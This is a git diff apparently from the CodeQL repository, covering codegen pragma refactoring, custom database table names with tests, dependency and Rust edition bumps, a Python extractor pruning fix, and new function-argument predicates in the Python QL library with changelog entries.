+ql.add(_Parametrized(_Pragma("name"), factory=lambda name: name))
+ql.add(_Parametrized(_PropertyPragma("db_table_name"), factory=lambda name: name))
 
 cpp.add(_Pragma("skip"))
 
-rust.add(_Pragma("detach"))
+rust.add(_PropertyPragma("detach"))
 rust.add(_Pragma("skip_doc_test"))
 
-rust.add(_ParametrizedClassPragma("doc_test_signature", factory=lambda signature: signature))
+rust.add(_Parametrized(_ClassPragma("doc_test_signature"), factory=lambda signature: signature))
 
-group = _ParametrizedClassPragma("group", inherited=True, factory=lambda group: group)
+group = _Parametrized(_ClassPragma("group", inherited=True), factory=lambda group: group)
 
 
-synth.add(_ParametrizedClassPragma("from_class", factory=lambda ref: _schema.SynthInfo(
+synth.add(_Parametrized(_ClassPragma("from_class"), factory=lambda ref: _schema.SynthInfo(
     from_class=_schema.get_type_name(ref))), key="synth")
-synth.add(_ParametrizedClassPragma("on_arguments", factory=lambda **kwargs:
-                                   _schema.SynthInfo(on_arguments={k: _schema.get_type_name(t) for k, t in kwargs.items()})), key="synth")
+synth.add(_Parametrized(_ClassPragma("on_arguments"), factory=lambda **kwargs:
+                        _schema.SynthInfo(on_arguments={k: _schema.get_type_name(t) for k, t in kwargs.items()})), key="synth")
 
 
 @_dataclass(frozen=True)
diff --git a/misc/codegen/requirements_lock.txt b/misc/codegen/requirements_lock.txt
index f0ae5d82ba76..d29fbd560769 100644
--- a/misc/codegen/requirements_lock.txt
+++ b/misc/codegen/requirements_lock.txt
@@ -1,5 +1,5 @@
 #
-# This file is autogenerated by pip-compile with Python 3.11
+# This file is autogenerated by pip-compile with Python 3.12
 # by the following command:
 #
 #    pip-compile --output-file=misc/codegen/requirements_lock.txt misc/codegen/requirements_in.txt
@@ -8,15 +8,15 @@ inflection==0.5.1
     # via -r misc/codegen/requirements_in.txt
 iniconfig==2.0.0
     # via pytest
-packaging==23.2
+packaging==24.2
     # via pytest
-pluggy==1.4.0
+pluggy==1.5.0
     # via pytest
-pystache==0.6.5
+pystache==0.6.8
     # via -r misc/codegen/requirements_in.txt
-pytest==8.0.0
+pytest==8.3.5
     # via -r misc/codegen/requirements_in.txt
-pyyaml==6.0.1
+pyyaml==6.0.2
     # via -r misc/codegen/requirements_in.txt
 toposort==1.10
     # via -r misc/codegen/requirements_in.txt
diff --git a/misc/codegen/templates/ql_class.mustache b/misc/codegen/templates/ql_class.mustache
index cb30fc791c79..39aba2b1ef4b 100644
--- a/misc/codegen/templates/ql_class.mustache
+++ b/misc/codegen/templates/ql_class.mustache
@@ -29,7 +29,15 @@ module Generated {
     /**
      * Gets the string representation of this element.
      */
-    string toString() { none() } // overridden by subclasses
+    cached
+    final string toString() { result = this.toStringImpl() }
+
+    /**
+     * INTERNAL: Do not use.
+     *
+     * Gets the string representation of this element.
+     */
+    abstract string toStringImpl();
 
     /**
      * Gets the name of a primary CodeQL class to which this element belongs.
diff --git a/misc/codegen/templates/ql_parent.mustache b/misc/codegen/templates/ql_parent.mustache
index b4e73e3699e8..67b975183736 100644
--- a/misc/codegen/templates/ql_parent.mustache
+++ b/misc/codegen/templates/ql_parent.mustache
@@ -79,6 +79,11 @@ Element getImmediateParent(Element e) {
     result = unique(Element x | e = Impl::getImmediateChild(x, _, _) | x)
 }
 
+/**
+* Gets the immediate child indexed at `index`. Indexes are not guaranteed to be contiguous, but are guaranteed to be distinct.
+*/
+Element getImmediateChild(Element e, int index) { result = Impl::getImmediateChild(e, index, _) }
+
 /**
 * Gets the immediate child indexed at `index`. Indexes are not guaranteed to be contiguous, but are guaranteed to be distinct. `accessor` is bound the member predicate call resulting in the given child.
 */
@@ -92,3 +97,10 @@ Element getImmediateChildAndAccessor(Element e, int index, string accessor) {
 Element getChildAndAccessor(Element e, int index, string accessor) {
     exists(string partialAccessor | result = Impl::getImmediateChild(e, index, partialAccessor).resolve() and accessor = "get" + partialAccessor)
 }
+
+/**
+* Gets the child indexed at `index`. Indexes are not guaranteed to be contiguous, but are guaranteed to be distinct. `accessor` is bound the member predicate call resulting in the given child.
+*/
+Element getChild(Element e, int index) {
+    result = Impl::getImmediateChild(e, index, _).resolve()
+}
diff --git a/misc/codegen/test/test_cppgen.py b/misc/codegen/test/test_cppgen.py
index fea9be2037f4..063940322412 100644
--- a/misc/codegen/test/test_cppgen.py
+++ b/misc/codegen/test/test_cppgen.py
@@ -225,5 +225,25 @@ def test_synth_properties_ignored(generate):
     ]
 
 
+def test_properties_with_custom_db_table_names(generate):
+    assert generate([
+        schema.Class("Obj", properties=[
+            schema.OptionalProperty("x", "a", pragmas={"ql_db_table_name": "foo"}),
+            schema.RepeatedProperty("y", "b", pragmas={"ql_db_table_name": "bar"}),
+            schema.RepeatedOptionalProperty("z", "c", pragmas={"ql_db_table_name": "baz"}),
+            schema.PredicateProperty("p", pragmas={"ql_db_table_name": "hello"}),
+            schema.RepeatedUnorderedProperty("q", "d", pragmas={"ql_db_table_name": "world"}),
+        ]),
+    ]) == [
+        cpp.Class(name="Obj", final=True, trap_name="Objs", fields=[
+            cpp.Field("x", "a", is_optional=True, trap_name="Foo"),
+            cpp.Field("y", "b", is_repeated=True, trap_name="Bar"),
+            cpp.Field("z", "c", is_repeated=True, is_optional=True, trap_name="Baz"),
+            cpp.Field("p", "bool", is_predicate=True, trap_name="Hello"),
+            cpp.Field("q", "d", is_repeated=True, is_unordered=True, trap_name="World"),
+        ]),
+    ]
+
+
 if __name__ == '__main__':
     sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/misc/codegen/test/test_dbschemegen.py b/misc/codegen/test/test_dbschemegen.py
index 96a6b0d0f7ff..653ad7fc8a39 100644
--- a/misc/codegen/test/test_dbschemegen.py
+++ b/misc/codegen/test/test_dbschemegen.py
@@ -593,5 +593,78 @@ def test_synth_properties_ignored(generate):
     )
 
 
+def test_table_conflict(generate):
+    with pytest.raises(dbschemegen.Error):
+        generate([
+            schema.Class("Foo", properties=[
+                schema.OptionalProperty("bar", "FooBar"),
+            ]),
+            schema.Class("FooBar"),
+        ])
+
+
+def test_table_name_overrides(generate):
+    assert generate([
+        schema.Class("Obj", properties=[
+            schema.OptionalProperty("x", "a", pragmas={"ql_db_table_name": "foo"}),
+            schema.RepeatedProperty("y", "b", pragmas={"ql_db_table_name": "bar"}),
+            schema.RepeatedOptionalProperty("z", "c", pragmas={"ql_db_table_name": "baz"}),
+            schema.PredicateProperty("p", pragmas={"ql_db_table_name": "hello"}),
+            schema.RepeatedUnorderedProperty("q", "d", pragmas={"ql_db_table_name": "world"}),
+        ]),
+    ]) == dbscheme.Scheme(
+        src=schema_file.name,
+        includes=[],
+        declarations=[
+            dbscheme.Table(
+                name="objs",
+                columns=[
+                    dbscheme.Column("id", "@obj", binding=True),
+                ],
+            ),
+            dbscheme.Table(
+                name="foo",
+                keyset=dbscheme.KeySet(["id"]),
+                columns=[
+                    dbscheme.Column("id", "@obj"),
+                    dbscheme.Column("x", "a"),
+                ],
+            ),
+            dbscheme.Table(
+                name="bar",
+                keyset=dbscheme.KeySet(["id", "index"]),
+                columns=[
+                    dbscheme.Column("id", "@obj"),
+                    dbscheme.Column("index", "int"),
+                    dbscheme.Column("y", "b"),
+                ],
+            ),
+            dbscheme.Table(
+                name="baz",
+                keyset=dbscheme.KeySet(["id", "index"]),
+                columns=[
+                    dbscheme.Column("id", "@obj"),
+                    dbscheme.Column("index", "int"),
+                    dbscheme.Column("z", "c"),
+                ],
+            ),
+            dbscheme.Table(
+                name="hello",
+                keyset=dbscheme.KeySet(["id"]),
+                columns=[
+                    dbscheme.Column("id", "@obj"),
+                ],
+            ),
+            dbscheme.Table(
+                name="world",
+                columns=[
+                    dbscheme.Column("id", "@obj"),
+                    dbscheme.Column("q", "d"),
+                ],
+            ),
+        ],
+    )
+
+
 if __name__ == '__main__':
     sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/misc/codegen/test/test_qlgen.py b/misc/codegen/test/test_qlgen.py
index 431f25d5aaeb..01dee2519998 100644
--- a/misc/codegen/test/test_qlgen.py
+++ b/misc/codegen/test/test_qlgen.py
@@ -1013,5 +1013,38 @@ def test_hideable_property(generate_classes):
     }
 
 
+def test_property_with_custom_db_table_name(generate_classes):
+    assert generate_classes([
+        schema.Class("Obj", properties=[
+            schema.OptionalProperty("x", "a", pragmas={"ql_db_table_name": "foo"}),
+            schema.RepeatedProperty("y", "b", pragmas={"ql_db_table_name": "bar"}),
+            schema.RepeatedOptionalProperty("z", "c", pragmas={"ql_db_table_name": "baz"}),
+            schema.PredicateProperty("p", pragmas={"ql_db_table_name": "hello"}),
+            schema.RepeatedUnorderedProperty("q", "d", pragmas={"ql_db_table_name": "world"}),
+        ]),
+    ]) == {
+        "Obj.qll": (a_ql_class_public(name="Obj"),
+                    a_ql_stub(name="Obj"),
+                    a_ql_class(name="Obj", final=True, properties=[
+                        ql.Property(singular="X", type="a", tablename="foo",
+                                    tableparams=["this", "result"],
+                                    is_optional=True, doc="x of this obj"),
+                        ql.Property(singular="Y", plural="Ys", type="b", tablename="bar",
+                                    tableparams=["this", "index", "result"],
+                                    doc="y of this obj", doc_plural="ys of this obj"),
+                        ql.Property(singular="Z", plural="Zs", type="c", tablename="baz",
+                                    tableparams=["this", "index", "result"],
+                                    is_optional=True, doc="z of this obj", doc_plural="zs of this obj"),
+                        ql.Property(singular="p", type="predicate", tablename="hello",
+                                    tableparams=["this"], is_predicate=True,
+                                    doc="this obj p"),
+                        ql.Property(singular="Q", plural="Qs", type="d", tablename="world",
+                                    tableparams=["this", "result"], is_unordered=True,
+                                    doc="q of this obj", doc_plural="qs of this obj"),
+                    ],
+            imports=[stub_import_prefix + "Obj"])),
+    }
+
+
 if __name__ == '__main__':
     sys.exit(pytest.main([__file__] + sys.argv[1:]))
diff --git a/misc/codegen/test/test_schemaloader.py b/misc/codegen/test/test_schemaloader.py
index 6c6fccfb3eac..1c8bfba271b2 100644
--- a/misc/codegen/test/test_schemaloader.py
+++ b/misc/codegen/test/test_schemaloader.py
@@ -272,10 +272,10 @@ class A:
 _class_pragmas = [
     (defs.qltest.collapse_hierarchy, "qltest_collapse_hierarchy"),
     (defs.qltest.uncollapse_hierarchy, "qltest_uncollapse_hierarchy"),
+    (defs.qltest.skip, "qltest_skip"),
 ]
 
 _property_pragmas = [
-    (defs.qltest.skip, "qltest_skip"),
     (defs.cpp.skip, "cpp_skip"),
     (defs.ql.internal, "ql_internal"),
 ]
@@ -646,6 +646,17 @@ class A:
     }
 
 
+def test_db_table_name():
+    @load
+    class data:
+        class A:
+            x: optional[int] | defs.ql.db_table_name("foo")
+
+    assert data.classes == {
+        'A': schema.Class('A', properties=[schema.OptionalProperty("x", "int", pragmas={"ql_db_table_name": "foo"})]),
+    }
+
+
 def test_null_class():
     @load
     class data:
@@ -838,7 +849,7 @@ def test_annotate_fields_negations():
     @load
     class data:
         class Root:
-            x: defs.int | defs.ql.internal | defs.qltest.skip
+            x: defs.int | defs.ql.internal
             y: defs.optional["Root"] | defs.child | defs.desc("foo\nbar\n")
             z: defs.string | defs.synth | defs.doc("foo")
 
@@ -850,7 +861,7 @@ class _:
 
     assert data.classes == {
         "Root": schema.Class("Root", properties=[
-            schema.SingleProperty("x", "int", pragmas=["qltest_skip"]),
+            schema.SingleProperty("x", "int"),
             schema.OptionalProperty("y", "Root"),
             schema.SingleProperty("z", "string"),
         ]),
diff --git a/misc/scripts/accept-expected-changes-from-ci.py b/misc/scripts/accept-expected-changes-from-ci.py
index 9cf500671e65..a11bfe9547f9 100755
--- a/misc/scripts/accept-expected-changes-from-ci.py
+++ b/misc/scripts/accept-expected-changes-from-ci.py
@@ -136,6 +136,7 @@ def make_patches_from_log_file(log_file_lines) -> List[Patch]:
             known_start_paths = {
                 # internal CI runs
                 "/home/runner/work/semmle-code/semmle-code/ql/": CODEQL_REPO_DIR,
+                "/Users/runner/work/semmle-code/semmle-code/ql/": CODEQL_REPO_DIR,
                 "/home/runner/work/semmle-code/semmle-code/target/codeql-java-integration-tests/ql/": CODEQL_REPO_DIR,
                 "/home/runner/work/semmle-code/semmle-code/" : SEMMLE_CODE_DIR,
                 # github actions on codeql repo
diff --git a/misc/scripts/create-change-note.py b/misc/scripts/create-change-note.py
index 548fa4e87fb0..1a13a0cf1148 100755
--- a/misc/scripts/create-change-note.py
+++ b/misc/scripts/create-change-note.py
@@ -1,6 +1,7 @@
 #!/usr/bin/env python3
 
-# Creates a change note and opens it in VSCode for editing.
+# Creates a change note and opens it in $EDITOR (or VSCode if the environment
+# variable is not set) for editing.
 
 # Expects to receive the following arguments:
 # - What language the change note is for
@@ -51,5 +52,6 @@
 with open(change_note_file, "w") as f:
     f.write(change_note)
 
-# Open the change note file in VSCode, reusing the existing window if possible
-os.system(f"code -r {change_note_file}")
+editor = os.environ.get('EDITOR', 'code -r')
+
+os.system(f"{editor} {change_note_file}")
diff --git a/misc/scripts/generate-code-scanning-query-list.py b/misc/scripts/generate-code-scanning-query-list.py
index 7cfad6ae2003..dae6e3d38351 100755
--- a/misc/scripts/generate-code-scanning-query-list.py
+++ b/misc/scripts/generate-code-scanning-query-list.py
@@ -31,7 +31,7 @@
 
 # Define which languages and query packs to consider
 languages = [ "actions", "cpp", "csharp", "go", "java", "javascript", "python", "ruby", "swift" ]
-packs = [ "code-scanning", "security-and-quality", "security-extended", "security-experimental", "ccr"]
+packs = [ "code-scanning", "security-and-quality", "security-extended", "security-experimental", "code-quality"]
 
 class CodeQL:
     def __init__(self):
@@ -183,9 +183,9 @@ def subprocess_run(cmd):
                     else:
                         sys.exit("You can use '--ignore-missing-query-packs' to ignore this error")
 
-                # Exception for the CCR suites, which might be empty, but must be resolvable.
-                if pack == 'ccr' and queries_subp == '':
-                    print(f'Warning: skipping empty suite ccr', file=sys.stderr)
+                # Exception for the code-quality suites, which might be empty, but must be resolvable.
+                if pack == 'code-quality' and queries_subp == '':
+                    print(f'Warning: skipping empty suite code-quality', file=sys.stderr)
                     continue
 
                 # Investigate metadata for every query by using 'codeql resolve metadata'
diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md
index 9767d978f89b..03ff99634124 100644
--- a/misc/suite-helpers/CHANGELOG.md
+++ b/misc/suite-helpers/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/misc/suite-helpers/change-notes/released/1.0.20.md b/misc/suite-helpers/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/misc/suite-helpers/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/misc/suite-helpers/codeql-pack.release.yml
+++ b/misc/suite-helpers/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml
index d5712fed4b5a..303abd1b23f4 100644
--- a/misc/suite-helpers/qlpack.yml
+++ b/misc/suite-helpers/qlpack.yml
@@ -1,4 +1,4 @@
 name: codeql/suite-helpers
-version: 1.0.19
+version: 1.0.20
 groups: shared
 warnOnImplicitThis: true
diff --git a/misc/suite-helpers/security-experimental-selectors.yml b/misc/suite-helpers/security-experimental-selectors.yml
index cf881a864f95..118c752b6e5e 100644
--- a/misc/suite-helpers/security-experimental-selectors.yml
+++ b/misc/suite-helpers/security-experimental-selectors.yml
@@ -43,4 +43,4 @@
 - exclude:
     tags contain:
       - modeleditor
-      - model-generator
+      - modelgenerator
diff --git a/python/extractor/semmle/python/passes/pruner.py b/python/extractor/semmle/python/passes/pruner.py
index fe3b03d453cd..5b69ec25bf3d 100644
--- a/python/extractor/semmle/python/passes/pruner.py
+++ b/python/extractor/semmle/python/passes/pruner.py
@@ -203,7 +203,8 @@ def __init__(self):
         self.nodes = set()
 
     def visit_MatchLiteralPattern(self, node):
-        # MatchLiteralPatterns _look_ like boolean tests, but are not.
+        # MatchLiteralPatterns _look_ like boolean tests in that they have both a true ("matched")
+        # and false ("didn't match") successor, but are not.
         # Thus, without this check, we would interpret
         #
         # match x:
@@ -212,8 +213,7 @@ def visit_MatchLiteralPattern(self, node):
         #
         # (and similarly for True) as if it was a boolean test. This would cause the true edge
         # (leading to pass) to be pruned later on.
-        if isinstance(node.literal, ast.Name) and node.literal.id in ('True', 'False'):
-            self.nodes.add(node.literal)
+        self.nodes.add(node.literal)
 
 class NonlocalVisitor(ASTVisitor):
     def __init__(self):
diff --git a/python/extractor/tsg-python/Cargo.toml b/python/extractor/tsg-python/Cargo.toml
index 259d2a7d353d..7ad2c1c949e6 100644
--- a/python/extractor/tsg-python/Cargo.toml
+++ b/python/extractor/tsg-python/Cargo.toml
@@ -4,7 +4,7 @@
 name = "tsg-python"
 version = "0.1.0"
 authors = ["Taus Brock-Nannestad <tausbn@github.com>"]
-edition = "2021"
+edition = "2024"
 
 # When updating these dependencies, run `misc/bazel/3rdparty/update_cargo_deps.sh`
 [dependencies]
diff --git a/python/extractor/tsg-python/rust-toolchain.toml b/python/extractor/tsg-python/rust-toolchain.toml
deleted file mode 100644
index 5e0bcd3a4763..000000000000
--- a/python/extractor/tsg-python/rust-toolchain.toml
+++ /dev/null
@@ -1,7 +0,0 @@
-# This file specifies the Rust version used to develop and test the Python
-# extractor. It is set to the lowest version of Rust we want to support.
-
-[toolchain]
-channel = "1.74"
-profile = "minimal"
-components = [ "rustfmt" ]
diff --git a/python/extractor/tsg-python/src/main.rs b/python/extractor/tsg-python/src/main.rs
index 942d36088538..6b72efdb6ef6 100644
--- a/python/extractor/tsg-python/src/main.rs
+++ b/python/extractor/tsg-python/src/main.rs
@@ -7,19 +7,19 @@
 
 use std::path::Path;
 
-use anyhow::anyhow;
 use anyhow::Context as _;
 use anyhow::Result;
-use clap::{Command, Arg, ArgAction};
+use anyhow::anyhow;
+use clap::{Arg, ArgAction, Command};
 use tree_sitter::Parser;
-use tree_sitter_graph::ast::File;
-use tree_sitter_graph::functions::Functions;
 use tree_sitter_graph::ExecutionConfig;
 use tree_sitter_graph::Identifier;
 use tree_sitter_graph::NoCancellation;
 use tree_sitter_graph::Variables;
+use tree_sitter_graph::ast::File;
+use tree_sitter_graph::functions::Functions;
 
-const BUILD_VERSION: &'static str = env!("CARGO_PKG_VERSION");
+const BUILD_VERSION: &str = env!("CARGO_PKG_VERSION");
 
 pub mod extra_functions {
     use tree_sitter_graph::functions::{Function, Parameters};
@@ -331,8 +331,8 @@ pub mod extra_functions {
                 None => {
                     return Err(ExecutionError::FunctionFailed(
                         "unnamed-child-index".into(),
-                        format!("Cannot call child-index on the root node"),
-                    ))
+                        "Cannot call child-index on the root node".to_string(),
+                    ));
                 }
             };
             let mut tree_cursor = parent.walk();
@@ -342,7 +342,7 @@ pub mod extra_functions {
                 .ok_or_else(|| {
                     ExecutionError::FunctionFailed(
                         "unnamed-child-index".into(),
-                        format!("Called child-index on a non-named child"),
+                        "Called child-index on a non-named child".to_string(),
                     )
                 })?;
             Ok(Value::Integer(index as u32))
@@ -400,7 +400,7 @@ pub mod extra_functions {
             let parent = node.parent().ok_or_else(|| {
                 ExecutionError::FunctionFailed(
                     "get-parent".into(),
-                    format!("Cannot call get-parent on the root node"),
+                    "Cannot call get-parent on the root node".to_string(),
                 )
             })?;
             Ok(Value::SyntaxNode(graph.add_syntax_node(parent)))
@@ -490,7 +490,7 @@ fn main() -> Result<()> {
                 .short('t')
                 .long("tsg")
                 .action(ArgAction::Set)
-                .required(false)
+                .required(false),
         )
         .arg(Arg::new("source").index(1).required(true))
         .get_matches();
diff --git a/python/extractor/tsg-python/tsp/Cargo.toml b/python/extractor/tsg-python/tsp/Cargo.toml
index 29fec37f442e..e36144566627 100644
--- a/python/extractor/tsg-python/tsp/Cargo.toml
+++ b/python/extractor/tsg-python/tsp/Cargo.toml
@@ -11,7 +11,7 @@ readme = "bindings/rust/README.md"
 keywords = ["incremental", "parsing", "python"]
 categories = ["parsing", "text-editors"]
 repository = "https://github.com/tree-sitter/tree-sitter-python"
-edition = "2018"
+edition = "2024"
 
 build = "bindings/rust/build.rs"
 include = [
diff --git a/python/extractor/tsg-python/tsp/bindings/rust/build.rs b/python/extractor/tsg-python/tsp/bindings/rust/build.rs
index 4450166885e2..74c445ae32ee 100644
--- a/python/extractor/tsg-python/tsp/bindings/rust/build.rs
+++ b/python/extractor/tsg-python/tsp/bindings/rust/build.rs
@@ -5,7 +5,7 @@ fn main() {
     let src_dir = Path::new("src");
 
     let mut c_config = cc::Build::new();
-    c_config.include(&src_dir);
+    c_config.include(src_dir);
     c_config
         .flag_if_supported("-Wno-unused-parameter")
         .flag_if_supported("-Wno-unused-but-set-variable")
@@ -17,7 +17,7 @@ fn main() {
 
     let mut cpp_config = cc::Build::new();
     cpp_config.cpp(true);
-    cpp_config.include(&src_dir);
+    cpp_config.include(src_dir);
     cpp_config
         .flag_if_supported("-Wno-unused-parameter")
         .flag_if_supported("-Wno-unused-but-set-variable");
diff --git a/python/extractor/tsg-python/tsp/bindings/rust/lib.rs b/python/extractor/tsg-python/tsp/bindings/rust/lib.rs
index 7a58509e89cf..560277354f2a 100644
--- a/python/extractor/tsg-python/tsp/bindings/rust/lib.rs
+++ b/python/extractor/tsg-python/tsp/bindings/rust/lib.rs
@@ -31,7 +31,7 @@
 
 use tree_sitter::Language;
 
-extern "C" {
+unsafe extern "C" {
     fn tree_sitter_python() -> Language;
 }
 
@@ -43,18 +43,18 @@ pub fn language() -> Language {
 }
 
 /// The source of the Python tree-sitter grammar description.
-pub const GRAMMAR: &'static str = include_str!("../../grammar.js");
+pub const GRAMMAR: &str = include_str!("../../grammar.js");
 
 /// The syntax highlighting query for this language.
-pub const HIGHLIGHT_QUERY: &'static str = include_str!("../../queries/highlights.scm");
+pub const HIGHLIGHT_QUERY: &str = include_str!("../../queries/highlights.scm");
 
 /// The content of the [`node-types.json`][] file for this grammar.
 ///
 /// [`node-types.json`]: https://tree-sitter.github.io/tree-sitter/using-parsers#static-node-types
-pub const NODE_TYPES: &'static str = include_str!("../../src/node-types.json");
+pub const NODE_TYPES: &str = include_str!("../../src/node-types.json");
 
 /// The symbol tagging query for this language.
-pub const TAGGING_QUERY: &'static str = include_str!("../../queries/tags.scm");
+pub const TAGGING_QUERY: &str = include_str!("../../queries/tags.scm");
 
 #[cfg(test)]
 mod tests {
diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md
index 9750358f9407..8ea99e00e054 100644
--- a/python/ql/lib/CHANGELOG.md
+++ b/python/ql/lib/CHANGELOG.md
@@ -1,3 +1,13 @@
+## 4.0.4
+
+### Minor Analysis Improvements
+
+- Added the methods `getMinArguments` and `getMaxArguments` to the `Function` class. These return the minimum and maximum positional arguments that the given function accepts.
+
+### Bug Fixes
+
+- `MatchLiteralPattern`s such as `case None: ...` are now never pruned from the extracted source code. This fixes some situations where code was wrongly identified as unreachable.
+
 ## 4.0.3
 
 No user-facing changes.
diff --git a/python/ql/lib/change-notes/released/4.0.4.md b/python/ql/lib/change-notes/released/4.0.4.md
new file mode 100644
index 000000000000..b72949b0829c
--- /dev/null
+++ b/python/ql/lib/change-notes/released/4.0.4.md
@@ -0,0 +1,9 @@
+## 4.0.4
+
+### Minor Analysis Improvements
+
+- Added the methods `getMinArguments` and `getMaxArguments` to the `Function` class. These return the minimum and maximum positional arguments that the given function accepts.
+
+### Bug Fixes
+
+- `MatchLiteralPattern`s such as `case None: ...` are now never pruned from the extracted source code. This fixes some situations where code was wrongly identified as unreachable.
diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml
index f6bbc961bb14..b207094e2b39 100644
--- a/python/ql/lib/codeql-pack.release.yml
+++ b/python/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 4.0.3
+lastReleaseVersion: 4.0.4
diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml
index b42258ede839..709aed324223 100644
--- a/python/ql/lib/qlpack.yml
+++ b/python/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/python-all
-version: 4.0.3
+version: 4.0.4
 groups: python
 dbscheme: semmlecode.python.dbscheme
 extractor: python
diff --git a/python/ql/lib/semmle/python/Concepts.qll b/python/ql/lib/semmle/python/Concepts.qll
index 94d660d75108..27f622c7c868 100644
--- a/python/ql/lib/semmle/python/Concepts.qll
+++ b/python/ql/lib/semmle/python/Concepts.qll
@@ -181,7 +181,7 @@ module Path {
     }
   }
 
-  /** A data-flow node that checks that a path is safe to access. */
+  /** A data-flow node that checks that a path is safe to access in some way, for example by having a controlled prefix. */
   class SafeAccessCheck extends DataFlow::ExprNode {
     SafeAccessCheck() { this = DataFlow::BarrierGuard<safeAccessCheck/3>::getABarrierNode() }
   }
@@ -192,7 +192,7 @@ module Path {
 
   /** Provides a class for modeling new path safety checks. */
   module SafeAccessCheck {
-    /** A data-flow node that checks that a path is safe to access. */
+    /** A data-flow node that checks that a path is safe to access in some way, for example by having a controlled prefix. */
     abstract class Range extends DataFlow::GuardNode {
       /** Holds if this guard validates `node` upon evaluating to `branch`. */
       abstract predicate checks(ControlFlowNode node, boolean branch);
diff --git a/python/ql/lib/semmle/python/Exprs.qll b/python/ql/lib/semmle/python/Exprs.qll
index 47e31bb07cdd..accc370481aa 100644
--- a/python/ql/lib/semmle/python/Exprs.qll
+++ b/python/ql/lib/semmle/python/Exprs.qll
@@ -746,6 +746,24 @@ class Guard extends Guard_ {
   override Expr getASubExpression() { result = this.getTest() }
 }
 
+/** An annotation, such as the `int` part of `x: int` */
+class Annotation extends Expr {
+  Annotation() {
+    this = any(AnnAssign a).getAnnotation()
+    or
+    exists(Arguments args |
+      this in [
+          args.getAnAnnotation(),
+          args.getAKwAnnotation(),
+          args.getKwargannotation(),
+          args.getVarargannotation()
+        ]
+    )
+    or
+    this = any(FunctionExpr f).getReturns()
+  }
+}
+
 /* Expression Contexts */
 /** A context in which an expression used */
 class ExprContext extends ExprContext_ { }
diff --git a/python/ql/lib/semmle/python/Function.qll b/python/ql/lib/semmle/python/Function.qll
index c3d5f7c801ea..589d7f471611 100644
--- a/python/ql/lib/semmle/python/Function.qll
+++ b/python/ql/lib/semmle/python/Function.qll
@@ -163,6 +163,24 @@ class Function extends Function_, Scope, AstNode {
       ret.getValue() = result.getNode()
     )
   }
+
+  /** Gets the minimum number of positional arguments that can be correctly passed to this function. */
+  int getMinPositionalArguments() {
+    result = count(this.getAnArg()) - count(this.getDefinition().getArgs().getADefault())
+  }
+
+  /**
+   * Gets the maximum number of positional arguments that can be correctly passed to this function.
+   *
+   * If the function has a `*vararg` parameter, there is no upper limit on the number of positional
+   * arguments that can be passed to the function. In this case, this method returns a very large
+   * number (currently `INT_MAX`, 2147483647, but this may change in the future).
+   */
+  int getMaxPositionalArguments() {
+    if exists(this.getVararg())
+    then result = 2147483647 // INT_MAX
+    else result = count(this.getAnArg())
+  }
 }
 
 /** A def statement. Note that FunctionDef extends Assign as a function definition binds the newly created function */
diff --git a/python/ql/lib/semmle/python/objects/ObjectAPI.qll b/python/ql/lib/semmle/python/objects/ObjectAPI.qll
index dc1363b2ebe2..4a36ec6d847f 100644
--- a/python/ql/lib/semmle/python/objects/ObjectAPI.qll
+++ b/python/ql/lib/semmle/python/objects/ObjectAPI.qll
@@ -738,21 +738,9 @@ class PythonFunctionValue extends FunctionValue {
     else result = "function " + this.getQualifiedName()
   }
 
-  override int minParameters() {
-    exists(Function f |
-      f = this.getScope() and
-      result = count(f.getAnArg()) - count(f.getDefinition().getArgs().getADefault())
-    )
-  }
+  override int minParameters() { result = this.getScope().getMinPositionalArguments() }
 
-  override int maxParameters() {
-    exists(Function f |
-      f = this.getScope() and
-      if exists(f.getVararg())
-      then result = 2147483647 // INT_MAX
-      else result = count(f.getAnArg())
-    )
-  }
+  override int maxParameters() { result = this.getScope().getMaxPositionalArguments() }
 
   /** Gets a control flow node corresponding to a return statement in this function */
   ControlFlowNode getAReturnedNode() { result = this.getScope().getAReturnValueFlowNode() }
diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md
index e885400b9b32..33e8046917e8 100644
--- a/python/ql/src/CHANGELOG.md
+++ b/python/ql/src/CHANGELOG.md
@@ -1,3 +1,13 @@
+## 1.4.6
+
+### Minor Analysis Improvements
+
+- The `py/special-method-wrong-signature` has been modernized and rewritten to no longer rely on outdated APIs. Moreover, the query no longer flags cases where a default value is never used, as these alerts were rarely useful.
+
+### Bug Fixes
+
+- The `py/unused-global-variable` now no longer flags variables that are only used in forward references (e.g. the `Foo` in `def bar(x: "Foo"): ...`).
+
 ## 1.4.5
 
 No user-facing changes.
diff --git a/python/ql/src/Functions/SignatureSpecialMethods.ql b/python/ql/src/Functions/SignatureSpecialMethods.ql
index feedb6c94b6d..caa6f8c1614b 100644
--- a/python/ql/src/Functions/SignatureSpecialMethods.ql
+++ b/python/ql/src/Functions/SignatureSpecialMethods.ql
@@ -4,6 +4,7 @@
  * @kind problem
  * @tags reliability
  *       correctness
+ *       quality
  * @problem.severity error
  * @sub-severity low
  * @precision high
@@ -11,12 +12,15 @@
  */
 
 import python
+import semmle.python.dataflow.new.internal.DataFlowDispatch as DD
 
 predicate is_unary_op(string name) {
   name in [
       "__del__", "__repr__", "__neg__", "__pos__", "__abs__", "__invert__", "__complex__",
       "__int__", "__float__", "__long__", "__oct__", "__hex__", "__str__", "__index__", "__enter__",
